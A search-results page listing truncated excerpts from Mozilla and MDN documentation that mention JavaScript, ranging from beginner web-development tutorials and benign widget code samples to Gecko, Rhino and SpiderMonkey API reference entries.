javascript is handled a bit later on in the process, and we won't talk about it here to keep things simpler.
What is CSS? - Learn web development
css specifications all web standards technologies (html, css, javascript, etc.) are defined in giant documents called specifications (or simply "specs"), which are published by standards organizations (such as the w3c, whatwg, ecma, or khronos) and define precisely how those technologies are supposed to behave.
Learn to style HTML using CSS - Learn web development
in that module, you will learn about: css, starting with the introduction to css module more advanced html modules javascript, and how to use it to add dynamic functionality to web pages once you understand the fundamentals of html, we recommend that you learn html and css at the same time, moving back and forth between the two topics.
What is a URL? - Learn web development
other technologies, such as css or javascript, use urls extensively, and these are really the heart of the web.
Example 2 - Learn web development
#f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); result for js no js html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>app...
Example 3 - Learn web development
f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add...
Example 4 - Learn web development
f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add...
Example 5 - Learn web development
f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add...
How to structure a web form - Learn web development
le forms: a form usability checklist previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for form widgets ...
Sending form data - Learn web development
things to watch out for are character sequences that look like executable code (such as javascript or sql commands).
Test your skills: HTML5 controls - Learn web development
if you do this correctly, the javascript included on the page will automatically update the output value when the slider is moved.
CSS basics - Learn web development
dealing with files html basics css basics javascript basics publishing your website how the web works ...
HTML basics - Learn web development
dealing with files html basics css basics javascript basics publishing your website how the web works ...
How the Web works - Learn web development
these files come in two main types: code files: websites are built primarily from html, css, and javascript, though you'll meet other technologies a bit later.
What will your website look like? - Learn web development
dealing with files html basics css basics javascript basics publishing your website how the web works ...
Use HTML to solve common problems - Learn web development
LearnHTMLHowto
how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage uncommon or advanced problems beyond the basics, html is very rich and offers advanced features for solving complex problems.
Document and website structure - Learn web development
sometimes you might want to just group a set of elements together to affect them all as a single entity with some css or javascript.
Images in HTML - Learn web development
tarea.onkeyup = function(){ // we only want to save the state when the user code is being shown, // not the solution, so that solution is not saved over the user code if(solution.value === 'show solution') { userentry = textarea.value; } else { solutionentry = textarea.value; } updatecode(); }; css background images you can also use css to embed images into webpages (and javascript, but that's another story entirely).
Structuring the web with HTML - Learn web development
after learning html, you can then move on to learning about more advanced topics such as: css, and how to use it to style html (for example alter your text size and fonts used, add borders and drop shadows, layout your page with multiple columns, add animations and other visual effects.) javascript, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make ui elements appear/disappear when you toggle a button, save users' data locally on their computers, and much much more.) modules this topic contains the following modules, in a suggested order for working through them.
Test your skills: Conditionals - Learn web development
note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
Test your skills: Loops - Learn web development
dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
Test your skills: Arrays - Learn web development
note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
Test your skills: variables - Learn web development
note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
CSS performance optimization - Learn web development
measuring performance multimedia: images multimedia: video javascript performance best practices.
HTML performance features - Learn web development
measuring performance multimedia: images multimedia: video javascript performance best practices.
The business case for web performance - Learn web development
measuring performance multimedia: images multimedia: video javascript performance best practices.
Multimedia: video - Learn web development
measuring performance multimedia: images multimedia: video javascript performance best practices.
Properly configuring server MIME types - Learn web development
examples of mime types are: text/html for normal web pages text/plain for plain text text/css for cascading style sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for java applets application/pdf for pdf documents technical background registered values for mime types are available in iana | mime media types.
Server-side website programming first steps - Learn web development
if you are looking for information on client-side javascript frameworks, consult our understanding client-side javascript frameworks module.
Server-side website programming - Learn web development
displaying all of these using different static pages would be extremely inefficient, so instead such sites display static templates (built using html, css, and javascript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on amazon.
Understanding client-side web development tools - Learn web development
get started now, with our "client-side tooling overview" prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here.
omni.ja (formerly omni.jar)
/modules javascript code modules.
Accessibility Information for Core Gecko Developers
html accessibility dynamic web content is not accessible because it uses vanilla <div>s and <span>s combined with javascript rather than declarative markup to describe the behavior of custom widgets such as menus and tree views.
CSUN Firefox Materials
here are some examples of accessible extensions, although there are hundreds more to try (thank you to the gw micro knowledge base for some of this information): adblock plus removes ads (and other objects, like banners) from web pages greasemonkey lets you add bits of javascript ("user scripts") to any web page to change its behavior.
Mozilla’s UAAG evaluation report
(p1) g preferences, advanced, scripts & windows - enable javascript for when toggled off, we don't notify the user when a page is loaded with scripts 3.5 toggle content refresh.
Add-ons
they are written using standard web technologies - javascript, html, and css - plus some dedicated javascript apis.
Adding a new event
the last half of it is the implementation of legacy event creator of javascript such as: var event = document.createevent("fooevent"); if you support this feature, you need to modify here.
Android-specific test suites
disabling one failing test in general, it's not sensible to allow java code that doesn't observe the existing coding style; in this respect, this job is equivalent to the eslint jobs that check the javascript coding style throughout the tree.
Benchmarking
another option that is on by default in non-release builds is the preference javascript.options.asyncstack, which provides better debugging information to developers.
Debugging on Mac OS X
for example, type js to see the javascript stack.
Debugging
documentation topics debugging on top of the mozilla platform debugging javascript code how to debug javascript code, with a focus on debugging code in the mozilla project itself.
Old Thunderbird build
if you changed c or c++ files, run: ./mozilla/mach build binaries if you changed javascript or xul files, on mac os x or linux you don't have to rebuild since the files in the object directory are linked to the ones in the source directory.
Simple Thunderbird build
if you changed c or c++ files, run: ./mach build binaries if you changed javascript or xul files, on macos or linux you don't have to rebuild since the files in the object directory are linked to the ones in the source directory.
ESLint
in order to help people write standard-compliant code from the start and avoid wasting time during code reviews, a set of eslint configuration files have been added to the code base so that javascript can be analyzed automatically.
Interface development guide
mailing list newsgroup rss feed related topics javascript, xpcom, developing mozilla ...
Reviewer Checklist
if javascript can see your object, it probably needs to be cycle-collected.
Experimental features in Firefox
eloper edition 33 no beta 33 no release 33 no preference name media.track.enabled dom document property: autoplaypolicy the document property autoplaypolicy returns a string indicating how the browser handles requests to automatically play media (either using the autoplay property on a media element or by attempting to trigger playback from javascript code.
Limitations of frame scripts
javascript code modules (jsms) in multiprocess firefox, a jsm loaded into the content process does not share any state with the same jsm loaded into the chrome process.
Limitations of frame scripts
javascript code modules (jsms) in multiprocess firefox, a jsm loaded into the content process does not share any state with the same jsm loaded into the chrome process.
Message manager overview
message managers are designed to enable chrome-privileged javascript code in one process to communicate with chrome-privileged javascript code in a different process.
Performance
do some work on the window } function dosomething(message) { frameglobal = message.target result = helper(frameglobal.content, message.data) frameglobal.sendasyncmessage("my-addon:response-from-child", {something: result}) } function addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks.
Message manager
message managers provide a way for chrome-privileged javascript code to communicate across process boundaries.
Storage access policy: Block cookies from trackers
this means that <iframe>s embedded in the main context of the page and loaded from a domain classified as a tracker will have full access to all storage locations accessible through javascript.
Using the Browser API
MozillaGeckoChromeAPIBrowser APIUsing
the javascript implementation to wire up the functionality required by our simple browser, we've written some basic javascript (see the full javascript listing.) wiring up the back and forward buttons early on in the code we implement two simple event listeners to move the browser back and forward in history when the relevant buttons are pressed: back.addeventlistener('touchend',function() { browser.gobac...
mozbrowseractivitydone
details the details property returns an anonymous javascript object with the following properties: success a boolean that indicates whether the activity has completed successfully (true) or not (false).
mozbrowserasyncscroll
details the details property returns an anonymous javascript object with the following properties: top the scroll top position in css pixels of the document within the browser <iframe>.
mozbrowsercaretstatechanged
details the details property returns an anonymous javascript object with the following properties: rect an object that defines information about the bounding rectangle of the current selection.
mozbrowsercontextmenu
details the details property returns an anonymous javascript object with the following properties: clientx the x value of the coordinate that was clicked inside the browser <iframe>'s viewport.
mozbrowsererror
detail the detail property returns an anonymous javascript object with the following properties: type a domstring representing the type of error that occurred.
mozbrowserfindchange
details the details property returns an anonymous javascript object with the following properties: active a boolean indicating whether a search is currently active (true), or not (false.) searchstring a domstring representing the string that is currently being searched for.
mozbrowsericonchange
details the details property returns an anonymous javascript object with the following properties: href a domstring representing the path to the new icon.
mozbrowserloadend
detail the detail property returns an anonymous javascript object with the following properties: backgroundcolor a domstring representing the main background color of the browser <iframe> content, expressed as an rgb value.
mozbrowserlocationchange
detail the detail property returns an anonymous javascript object with the following properties: url a domstring representing the url of the new location.
mozbrowsermanifestchange
details the details property returns an anonymous javascript object with the following properties: href the url of the new app manifest.
mozbrowsermetachange
details the details property returns an anonymous javascript object with the following properties: name a domstring representing the <meta> name attribute value.
mozbrowseropensearch
details the details property returns an anonymous javascript object with the following properties: title a domstring representing the title of the search engine.
mozbrowseropentab
details the details property returns an anonymous javascript object with the following properties: url a domstring representing the url of the new document loaded.
mozbrowseropenwindow
details the details property returns an anonymous javascript object with the following properties: url a domstring representing the url of the document loaded within the frameelement property.
mozbrowserresize
details the details property returns an anonymous javascript object with the following properties: width a number representing the new width of the <iframe> viewport, in device pixels.
mozbrowserscroll
details the details property returns an anonymous javascript object with the following properties: top a number representing the new vertical scroll position of the <iframe> viewport — in css pixels — from the top of the viewport.
mozbrowserscrollareachanged
details the details property returns an anonymous javascript object with the following properties: width a number representing the new scroll area width of the <iframe> viewport, in css pixels.
mozbrowserscrollviewchange
details the details property returns an anonymous javascript object with the following properties: state a domstring representing the current state of scrolling in the viewport — available values are started and stopped.
mozbrowsersecuritychange
details the details property returns an anonymous javascript object with the following properties: state a domstring representing the current state of ssl security.
mozbrowserselectionstatechanged
details the details property returns an anonymous javascript object with the following properties: rect an object that represents the bounding rectangle of the selection.
mozbrowsershowmodalprompt
details the details property is an anonymous javascript object with the following properties: prompttype a domstring defining the type of the prompt.
mozbrowserusernameandpasswordrequired
details the details property returns an anonymous javascript object with the following members: host a domstring representing the host requesting the http authentification.
mozbrowservisibilitychange
details the details property returns an anonymous javascript object with the following properties: visible a boolean that indicates whether the browser iframe is visible (true) or not (false).
overflow-clip-box-block
padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, sh...
overflow-clip-box-inline
padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, sh...
MozBeforePaint
gecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.
Chrome-only Events reference
mozbeforepaintgecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.mozscrolledareachangedthe mozscrolledareachanged event is fired when the document view has been scrolled or resized.
Gecko SDK
be accessed from xul using javascript.
Gecko
gecko's function is to render web content, such as html, css, xul, javascript, and render it on the user's screen or print it.
IME handling guide
therefore, editorbase requests to commit composition when the following cases occur: the editor loses focus the caret is moved by mouse or javascript value of the editor is changed by javascript node of the editor is removed from dom tree somethings object is modified in an html editor, e.g., resizing an image composition string is moved to a different position which is specified by native ime (e.g., only a part of composition is committed) in the future, we should fix this limitation.
CustomizableUI.jsm
the customizableui.jsm javascript code module allows you to interact with customizable buttons and items in firefox's main window ui.
FxAccountsOAuthClient.jsm
the fxaccountsoauthclient.jsm javascript module provides a way for browser services to authenticate with the firefox accounts oauth server.
FxAccountsProfileClient.jsm
the fxaccountsprofileclient.jsm javascript module provides a way to fetch firefox accounts profile information.
Interfacing with the Add-on Repository
the add-on repository javascript code module makes it easy for your extension to interface with the amo repository.
SourceMap.jsm
sourcenode sourcenodes provide a way to abstract over interpolating and/or concatenating snippets of generated javascript source code, while maintaining the line and column information associated between those snippets and the original source code.
Timer.jsm
the timer.jsm javascript code module contains pure-javascript implementations of settimeout, cleartimeout, setinterval, and clearinterval that are compatible with the dom window functions, but that can be used by code that does not have access to a dom window (for example, javascript code modules or content frame scripts).
WebChannel.jsm
the webchannel.jsm javascript code module provides an abstraction that uses the message manager and custom events apis to create a two-way communication channel between chrome and content code for specific origins (using a specific origin passed to the constructor or a lookup with nsipermissionmanager while also ensuring the scheme is https).
Localizing with Koala
the .properties files are used in the javascript code while the application is already running.
Creating localizable web applications
error messages), or in javascript libraries and scripts.
Mozilla Framework Based on Templates (MFBT)
the mozilla framework based on templates ("mfbt") is the central repository for macros, functions, and data structures used throughout mozilla code, including in the javascript engine.
Extras
edextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <msup> <mi>α</mi> <mi>n</mi> </msup> <mrow> <mi>n</mi> <mo>!</mo> </mrow> </mfrac> </mrow> </math> </foreignobject> <text>exp(α)</text> </switch> </g> </g> </svg> </div> inline javascript html content <math display="block"> <mfrac> <mtext id="num">mouse</mtext> <mtext id="denum">over</mtext> </mfrac> </math> javascript content function whoistherealert(evt) { alert("who is there?"); } function attachlistener(id) { document.getelementbyid(id).addeventlistener("mouseover", whoistherealert); } function init() { attachlistener("num"); attachlistener("denum"); } window...
MathML Torture Test
cida bright math; } .minion math { font-family: minion math; } .stixtwo math { font-family: stix two math; } .texgyrebonum math { font-family: tex gyre bonum math; } .texgyrepagella math { font-family: tex gyre pagella math; } .texgyreschola math { font-family: tex gyre schola math; } .texgyretermes math { font-family: tex gyre termes math; } .xits math { font-family: xits math; } javascript content function updatemathfont() { var mathfont = document.getelementbyid("mathfont").value; if (mathfont == "default") { document.body.removeattribute("class"); } else { document.body.setattribute("class", mathfont); } } function load() { document.getelementbyid("mathfont").
MathML In Action
<mrow> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> </mrow> </msqrt> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mrow> </mstyle> </math> </p> javascript content function zoomtoggle() { if (this.hasattribute("mathsize")) { this.removeattribute("mathsize"); } else { this.setattribute("mathsize", "200%"); } } function load() { document.getelementbyid("zoomablemath").
Automated performance testing and sheriffing
current list of automated systems we are tracking (at least to some degree): talos: the main performance system, run on virtually every check-in to an integration branch build metrics: a grab bag of performance metrics generated by the build system arewefastyet: a generic javascript and web benchmarking system areweslimyet: a memory benchmarking tool ...
BloatView
logn > htmlfile this will produce an html file that contains a table similar to the following (but with added javascript so you can sort the data by column).
nglayout.debug.disable_xul_cache
the xul cache is serialized and saved between mozilla sessions in the xul fastload file, which saves a “compiled” version of the xul and javascript in a document to disk for faster startup the next time the application runs.
Preferences
related topics xul, javascript, xpcom, extensions, developing mozilla ...
A guide to searching crash reports
for example, to perform a search for all mac crash reports that occurred while javascript garbage collection was running, do the following.
Leak Monitor
it will pop-up an alert when a window is closed and javascript still links to that window (for example, an observer that is not cleared when the window closes).
AsyncTestUtils extended framework
thanks to javascript enhancements available on the mozilla platform, it is possible for a function to yield control in such a way that the function stops running at the line where you use a yield statement and resumes execution on the next line when resumed.
Leak And Bloat Tests
code locations the files specific to leak and bloat testing are be stored in: http://mxr.mozilla.org/comm-central/source/mailnews/test/performance these files consist of: overlays (used to provide the hooks for the javascript): bloat/bloataddroverlay.xul bloat/bloatcomposeoverlay.xul bloat/bloatmainoverlay.xul javascript files (used to drive the tests): bloat/bloataddroverlay.js bloat/bloatcomposeoverlay.js bloat/bloatmainoverlay.js preference settings (used to provide a defined profile, see below): common/mailnewstestprefs.js python scripts (used to set up the profile and run the test): bloat/setupbloattest...
MailNews automated testing
xpcshell-tests are run in javascript without any chrome present.
Midas
midas can be enabled via javascript on an html document.
PRTime
note: keep in mind that while prtime stores times in microseconds since epoch, javascript date objects store times in milliseconds since epoch.
PRUnichar
an unsigned 16-bit type, like char in java or the "characters" of a javascript string defined in /mozilla/xpcom/base/nscore.h.
PR_Open
thus they cannot be used in javascript, you have to use the octal constants (see file i/o snippets).
PR_cnvtf
it conforms to the ecma standard of javascript (ecmascript).
NSS API Guidelines
this was added via javascript; a fast, lightweight, non-thread-safe (though 'free-threaded') implementation.
NSS tools : modutil
jar installation file format when a jar file is run by a server, by modutil, or by any program that does not interpret javascript, a special information file must be included to install the libraries.
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
jar installation file format when a jar file is run by a server, by modutil, or by any program that does not interpret javascript, a special information file must be included to install the libraries.
Network Security Services
additional information using the window.crypto object from javascript delegation of http download for ocsp tls cipher suite discovery nss certificate download specification fips mode - an explanation format of key log files view all nss-related articles on mdn planning information on nss planning can be found at wiki.mozilla.org, including: fips validation nss roadmap page nss improvement project ...
Rhino and BSF
see xalan-java extensions for more information on adding javascript to xsl and the description of the optional script task in the apache ant manual for using scripting in ant build files.
Rhino community
the mozilla.dev.tech.js-engine newsgroup answers questions about the c implementation of javascript, and was also used for answering questions about rhino until september 27, 2007.
Running the Rhino tests
to run the rhino tests, simply run the junit-all ant task in the top-level rhino directory: $ cd rhino $ ant junit-all this will run rhino's own unit tests as well as most of the mozilla javascript test suite.
Rhino license
license for portions of the rhino debugger additionally, some files (currently the contents of toolsrc/org/mozilla/javascript/tools/debugger/treetable/) are available under the following license: * copyright 1997, 1998 sun microsystems, inc.
New in Rhino 1.7R4
update license to mpl 2.0 make string concatenation with + fast java class generation updates and fixes faster number to string conversion several regexp fixes regexp performance improvements es5 compliance fixes improved interpreter performance improved commonjs module implementation javascript 1.8 generator expressions many parser and ast fixes use javascript 1.7 as default version in rhino shell javaadapter improvements fixes in js to java access include mozilla test suite a list of bugs that were fixed since the previous release.
Rhino optimization
simple data and type flow analysis is performed to determine which javascript variables can be allocated to java vm registers, and which variables are used only as numbers.
Rhino requirements and limitations
limitations liveconnect if a javaobject's field's name collides with that of a method, the value of that field is retrieved lazily, and can be counter-intuitively affected by later assignments: javaobj.fieldandmethod = 5; var field = javaobj.fieldandmethod; javaobj.fieldandmethod = 7; // now, field == 7 you can work around this by forcing the field value to be converted to a javascript type when you take its value: javaobj.fieldandmethod = 5; var field = javaobj.fieldandmethod + 0; // force conversion now javaobj.fieldandmethod = 7; // now, field == 5 jsobject rhino does not support the netscape.javascript.jsobject class.
Rhino
rhino is an open-source implementation of javascript written entirely in java.
Exact Stack Rooting
definitions gc - acronym for garbage collection: specifically spidermonkey's method of automatically managing javascript program memory.
Garbage collection
marking todo incremental marking incremental marking means being able to do a bit of marking work, then let the mutator (javascript program) run a bit, then do another bit of marking work.
Invariants
javascript is only mostly lexically scoped.
JIT Optimization Strategies
ion inlines both interpreted (i.e., written in javascript) functions and native (i.e., built-ins such as math.sin implemented in c++).
INT_FITS_IN_JSVAL
obsolete since javascript 1.8.5this feature is obsolete.
JS::Add*Root
if js::add*root succeeds, then as long as this variable points to a javascript value or pointer to gc-thing, that value/gc-thing is protected from garbage collection.
JS::BooleanValue
description js::booleanvalue converts a c boolean of type bool to js::value, the type of javascript values.
JS::CloneFunctionObject
funobj must be a pointer to a javascript function object (see js_objectisfunction).
JS::CompileFunction
this article covers features introduced in spidermonkey 17 create a javascript function from a text string.
JS::CurrentGlobalOrNull
if there is no javascript running on the context, this returns the context's global, i.e., js_getglobalobject(cx).
JS::DoubleValue
description js::doublevalue converts a c floating-point number of type double to js::value, the type of javascript values.
JS::Float32Value
description js::float32value converts a c floating-point number of type float to js::value, the type of javascript values.
JS::Int32Value
description js::int32value converts a c signed 32-bit integer of type int32_t to js::value, the type of javascript values.
JS::NumberValue
description js::numbervalue converts a c integer or floating-point value to js::value, the type of javascript values.
JS::ObjectOrNullValue
if the pointer is null, it returns javascript null.
JS::OrdinaryToPrimitive
description js::ordinarytoprimitive converts a javascript object to a specified type value, by the algorithm specified in es6 draft rev 28 (2014 oct 14) 7.1.1, second algorithm.
JSClass.flags
jsclass_share_all_properties obsolete since javascript 1.8.5 instructs spidermonkey to automatically give all properties of objects of this class the jsprop_shared attribute.
JSDeletePropertyOp
in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
JSEnumerateOp
this hook does not implement iteration: once the properties are defined, the javascript engine can enumerate them.
JSErrorReport
a jserrorreporter might choose to ignore a jserrorreport that has this flag set, since the exception may be caught and handled by javascript code.
JSExnType
value prototype in javascript jsexn_none an unthrowable error.
JSExtendedClass.outerObject
obsolete since javascript 1.8.5this feature is obsolete.
JSFUN_GLOBAL_PARENT
obsolete since javascript 1.8.5this feature is obsolete.
JSFunctionSpec
selfhostedname const char * the function's name in self-hosted javascript code.
JSHasInstanceOp
jsclass hooks jsclass offers the following hook: the jsclass.hasinstance callback implements js_hasinstance and the javascript instanceof keyword.
JSIteratorOp
description the javascript engine calls the jsextendedclass.iteratorobject callback to create an iterator object for a given object.
JSMarkOp
jsclass hooks jsclass offers the following hook: the javascript engine calls the jsclass.mark callback during the mark phase of garbage collection.
JSObjectOp
obsolete since javascript 1.8.5this feature is obsolete.
JSObjectOps.defineProperty
obsolete since javascript 1.8.5this feature is obsolete.
JSObjectOps.destroyObjectMap
obsolete since javascript 1.8.5this feature is obsolete.
JSObjectOps.dropProperty
obsolete since javascript 1.8.5this feature is obsolete.
JSObjectOps.getAttributes
obsolete since javascript 1.8.5this feature is obsolete.
JSObjectOps.getProperty
obsolete since javascript 1.8.5this feature is obsolete.
JSObjectOps.getRequiredSlot
obsolete since javascript 1.8.5this feature is obsolete.
JSObjectOps.lookupProperty
obsolete since javascript 1.8.5this feature is obsolete.
JSObjectOps.newObjectMap
obsolete since javascript 1.8.5this feature is obsolete.
JSObjectOps.setProto
obsolete since javascript 1.8.5this feature is obsolete.
JSPrincipalsTranscoder
description the javascript engine uses this callback to serialize and deserialize principals.
JSProperty
the type of javascript object properties, used by the jsobjectops layer.
JSReserveSlotsOp
obsolete since javascript 1.8.5this feature is obsolete.
JSScript
for now, i'll just say that this class represents a section of compiled javascript code, and the functions to create, run, and analyize it.
JSVAL_IS_DOUBLE
example the following code snippet illustrates how a javascript variable, myitem, is conditionally tested in an if statement to see if it is a js double data type.
JSVAL_IS_STRING
example the following code snippet illustrates how a javascript variable, myitem, is conditionally tested in an if statement to see if it is a string.
JSVAL_ONE
the jsval that represents the javascript number 1.
JSVAL_TO_BOOLEAN
cast a boolean javascript value to a c integer, either 0 or 1, without any type checking or error handling.
JSVAL_ZERO
the jsval that represents the javascript number 0.
JS_Add*Root
if js_add*root succeeds, then as long as this variable points to a javascript value or pointer to gc-thing, that value/gc-thing is protected from garbage collection.
JS_BufferIsCompilableUnit
description given a buffer, return false if the buffer might become a valid javascript statement with the addition of more lines.
JS_CStringsAreUTF8
js_cstringsareutf8 returns js_true if the javascript engine is configured (either at compile time or at run time) to interpret char strings as utf-8.
JS_CallFunction
js_callfunctionvalue(cx, obj, fval, args, rval) is analogous to the javascript statement rval = fval.apply(obj, args);.
JS_ClearDateCaches
syntax void js_cleardatecaches(jscontext *cx); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
JS_CloneFunctionObject
funobj must be a pointer to a javascript function object (see js_objectisfunction).
JS_CompareStrings
this function imposes a total order on all javascript strings, the same order imposed by the javascript string comparison operators (<, <=, >, >=), as described in ecma 262-3 § 11.8.5.
JS_CompileFunction
creates a javascript function from a text string.
JS_CompileScriptForPrincipals
version jsversion javascript version for the script.
JS_CompileUTF8FileHandle
description js_compileutf8filehandle reads a script from a stdio file handle and compiles the script for execution by the javascript engine.
JS_DefineFunctions
each array element defines a single function: its name, the native c/c++ implementation, the number of javascript arguments the function expects, and any property attributes.
JS_DeleteProperty
(in javascript 1.2 and earlier, attempting to delete a permanent property caused an error.
JS_DumpNamedRoots
the javascript engine does not read from or write to this pointer at all.
JS_EnterLocalRootScope
obsolete since javascript 1.8.5this feature is obsolete.
JS_EvaluateScriptForPrincipals
version jsversion javascript version for the script.
JS_ExecuteScriptPart
obsolete since javascript 1.9.3this feature is obsolete.
JS_ForgetLocalRoot
obsolete since javascript 1.8.5this feature is obsolete.
JS_FreezeObject
see also mxr id search for js_freezeobject javascript reference: the object.freeze method of object js_deepfreezeobject bug 492849 ...
JS_GetArrayPrototype
syntax jsobject * js_getarrayprototype(jscontext *cx, js::handleobject forobj); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
JS_GetCompartmentPrivate
the javascript engine itself never uses it.
JS_GetContextPrivate
the javascript engine itself never uses it.
JS_GetFunctionCallback
returns the callback currently configured to be called when javascript functions are invoked or exited, as established by a prior call to js_setfunctioncallback.
JS_GetFunctionId
syntax jsstring * js_getfunctionid(jsfunction *fun); jsstring * js_getfunctiondisplayid(jsfunction *fun); // added in spidermonkey 17 name type description fun jsfunction * a javascript function.
JS_GetFunctionName
syntax const char * js_getfunctionname(jsfunction *fun); name type description fun jsfunction * a pointer to a javascript function.
JS_GetFunctionPrototype
syntax jsobject * js_getfunctionprototype(jscontext *cx, js::handleobject forobj); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
JS_GetGlobalForScopeChain
if there is no javascript running on the context, this returns the context's global, i.e., js_getglobalobject(cx).
JS_GetObjectPrototype
syntax jsobject * js_getobjectprototype(jscontext *cx, js::handleobject forobj); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
JS_GetParent
see the security section of the user guide for an introduction to the security model.) in some cases, javascript code can get an object's parent via the read-only obj.__parent__ property.
JS_GetPrototype
this is the equivalent of object.getprototypeof(obj) from javascript.
JS_GetRuntimePrivate
the javascript engine itself never uses it.
JS_GetStringChars
description js_getstringchars obsolete since javascript 1.8.5 returns a pointer to the first element of an array of jschars.
JS_GetStringEncodingLength
this article covers features introduced in spidermonkey 1.8.5 get the length of a javascript string in bytes.
JS_GetStringLength
return the length, in 16-bit code units, of a javascript string.
JS_HasElement
determine whether a javascript array has an element in the specified index.
JS_InitStandardClasses
description js_initstandardclasses initializes the built-in javascript global properties.
JS_InstanceOf
note that js_instanceof is not the equivalent of the javascript instanceof keyword, which examines constructor properties along the prototype chain.
JS_InternString
description js_internstring and js_internstringn return an interned javascript string with a specified value, s.
JS_IsAssigning
obsolete since javascript 1.8.5this feature is obsolete.
JS_IsConstructing
js_isconstructing returns js_true if the native was defined with jsfun_constructor (js_initclass automatically sets that flag when defining a constructor) and it was called as a constructor, either from javascript, using the new keyword, or from c/c++ using a jsapi function such as js_constructobject.
JS_LeaveLocalRootScope
